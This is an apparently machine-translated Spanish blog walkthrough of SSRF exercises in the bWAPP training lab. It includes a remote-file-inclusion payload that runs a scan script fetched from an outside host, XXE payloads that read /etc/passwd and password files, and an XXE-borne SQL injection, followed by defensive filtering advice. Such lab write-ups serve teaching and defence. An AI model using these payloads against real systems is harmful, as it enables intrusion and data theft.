Vulnerabilidad de falsificación de solicitudes del lado del servidor SSRF en pruebas de penetración

Vulnerabilidad de falsificación de solicitudes del lado del servidor de la SSRF

principio:

SSRF (Falsificación de solicitudes del lado del servidor: Falsificación de solicitudes del lado del servidor) es una laguna de seguridad construida por un atacante para formar una solicitud iniciada por el servidor. En general, SSRF es el sistema interno del sitio web de destino. (Debido a que se accede desde el sistema interno, todos los sistemas internos a los que la red externa no puede acceder pueden ser atacados a través de él, es decir, el sitio web de destino se utiliza como intermediario)

El motivo de la formación de SSRF
se debe principalmente a que el servidor proporciona la función de obtener datos de otras aplicaciones del servidor y no filtra ni restringe la dirección de destino. Por ejemplo, obtenga el contenido de texto de una página web de una dirección URL específica, cargue imágenes y documentos en una dirección específica, etc.

Análisis de principio: La
vulnerabilidad SSRF consiste en enviar una solicitud para obtener recursos mediante la manipulación del servidor, pero el servidor no detecta si la solicitud es legal y luego el servidor accede a los recursos de otros servidores en su identidad.

Ataques que se pueden lograr usando ssrf
1. Puede escanear la red externa, la red interna donde se encuentra el servidor y el puerto local para obtener la información del banner de algunos servicios;
2. Atacar la aplicación que se ejecuta en la red interna o local (como desbordamiento);
3. Las aplicaciones web de Internet realizan la identificación de huellas dactilares internas accediendo a archivos predeterminados;
4. Los ataques a aplicaciones web en redes internas y externas son principalmente ataques que se pueden lograr utilizando parámetros get (como struts2, sqli , etc.);
5. Utilice el protocolo de archivo para leer archivos locales, etc.
Inserte la descripción de la imagen aquí

Experimento de prueba SSRF

Aquí usamos el campo de tiro ssrf en bwapp

Utilice la inclusión de archivos remotos para el escaneo de puertos

1. Utilice bee / bug para iniciar sesión, seleccione bajo al iniciar sesión y seleccione el rango de disparo SSRF después de iniciar sesión.
Inserte la descripción de la imagen aquí
2. Después de hacer clic en Hack, ingrese a la siguiente página. La SSRF en bWAPP ofrece 3 pequeños experimentos para ilustrar los escenarios de uso de SSRF:

Tarea 1: usar la inclusión de archivos remotos para el escaneo de puertos (detección de intranet)

Tarea 2: Utilice XXE para obtener el contenido de archivos sensibles (lectura de archivos)

Tarea 3: Utilice XXE para aprovechar la vulnerabilidad de denegación de servicio de SmartTV (explotación de vulnerabilidades)
Inserte la descripción de la imagen aquí3. Haga clic en Exploración de puertos en la Tarea 1 para obtener un script de ataque de exploración de puertos.
http://192.168.1.4:81/bwapp/evil/ssrf-1.txt, solo necesitas incluir el script y solicitar que el parámetro IP sea el host correspondiente. El siguiente paso es usar la vulnerabilidad de inclusión de archivos remotos en bWAPP y ejecute el script del puerto escaneado.

4. Elija el nivel de seguridad de Inclusión de archivos local y remota (RFI / LFI) o bajo en Elija su error, y luego haga clic en Hack.
Inserte la descripción de la imagen aquíInserte la descripción de la imagen aquí5. Luego de ingresar al experimento de Inclusión de Archivos Remotos y Locales (RFI / LFI), vi que hay un módulo de función para seleccionar el idioma, ejecutarlo directamente, observar los parámetros en la solicitud Get y encontrar que es un típico problema de inclusión de archivos, idioma = lang_en.php

Solicitud GET: http://192.168.1.4/bWAPP/rlfi.php?language=lang_en.php&action=go

Inserte la descripción de la imagen aquí6. Utilice el siguiente PAYLOAD para incluir y ejecutar de forma remota el script de escaneo para detectar los puertos y servicios del host de la intranet.
POST: http://192.168.1.4/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
DATOS POST: ip = 192.168.10.1
aquí http: // xxx.xxx.xxx/ es la dirección de acceso del script de escaneo, 192.168.10.1 es la dirección del host de destino que se escaneará y la dirección no es accesible para el host xxx.xxx.xxx, por lo que es conveniente ver y distinguir el envío de la solicitud posterior a escanear La IP del host de destino y el resultado se devolverá después de que finalice el escaneo.
Inserte la descripción de la imagen aquí

Utilice XXE para obtener el contenido de archivos confidenciales

Primero haga clic en Acceso en la Tarea 2 para obtener el script de XXE: http://xxx.xxx.xxx/bWAPP/xxe-1.php, luego acceda al entorno de exploración XML External Entity Attacks (XXE), use burpSuite para capturar el paquete y envíelo Prueba en el repetidor.

Inserte la descripción de la imagen aquíUtilice el protocolo http para obtener el contenido de /bWAPP/robots.txt.
Inserte la descripción de la imagen aquí

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root1  [
 <!ENTITY bWAPP SYSTEM
"http://localhost/1/bwapp/robots.txt">
]>
<reset> 
<login>&bWAPP;</login> 
<secret>blah</secret> 
</reset>

php: //filter/read=convert.base64-encode/resource=http: //192.168.0.67/1/bwapp/passwords/heroes.xml
Utilice el protocolo php para obtener el código base64 en / bWAPP / passwords / heroes .xml Los datos.

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

Utilice el protocolo de archivo para obtener el contenido de / etc / passwd de la máquina bWAPP.

Inserte la descripción de la imagen aquí

Utilice XXE para la inyección de SQL en la intranet

Utilice XXE para la inyección de SQL en la intranet)
Esta tarea es aprovechar las vulnerabilidades de la inyección de SQL en los sitios de la intranet . Por ejemplo, si hay una vulnerabilidad de inyección en el host 192.168.163.150, puede enviar la siguiente carga útil para usar SSRF para explotar las vulnerabilidades de SQL. Por supuesto, también puede explotar vulnerabilidades como Struts2.

1.<?xml version=”1.0″ encoding=”utf-8″?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM "http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>

Inserte la descripción de la imagen aquí

Método de protección SSRF

1. Medidas de protección
(lista negra)
(1) Filtro 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, dirección privada de localhost, dirección IPv6
(2) Archivo de filtro: ///, dict: //, Gopher: //, ftp: // esquema peligroso
(3) Identificar el contenido devuelto
(4) Habilitar la autenticación para los servicios de intranet (Memcached, Redis, Elasticsearch y MongoDB)
2. Mejor protección
(1) Usar la lista blanca de direcciones
(2) Identificar el contenido devuelto
(3) Necesita usar recursos de Internet (como el uso de imágenes en línea en la barra de publicaciones) pero no puede usar la lista blanca: primero deshabilite CURLOPT_FOLLOWLOCATION; luego obtenga la IP de destino a través del nombre de dominio y filtre la IP interna; finalmente Identificar la devolución ¿El contenido es coherente con el contenido asumido?

Supongo que te gusta

Origin blog.csdn.net/weixin_45380284/article/details/114435016
Recomendado
Clasificación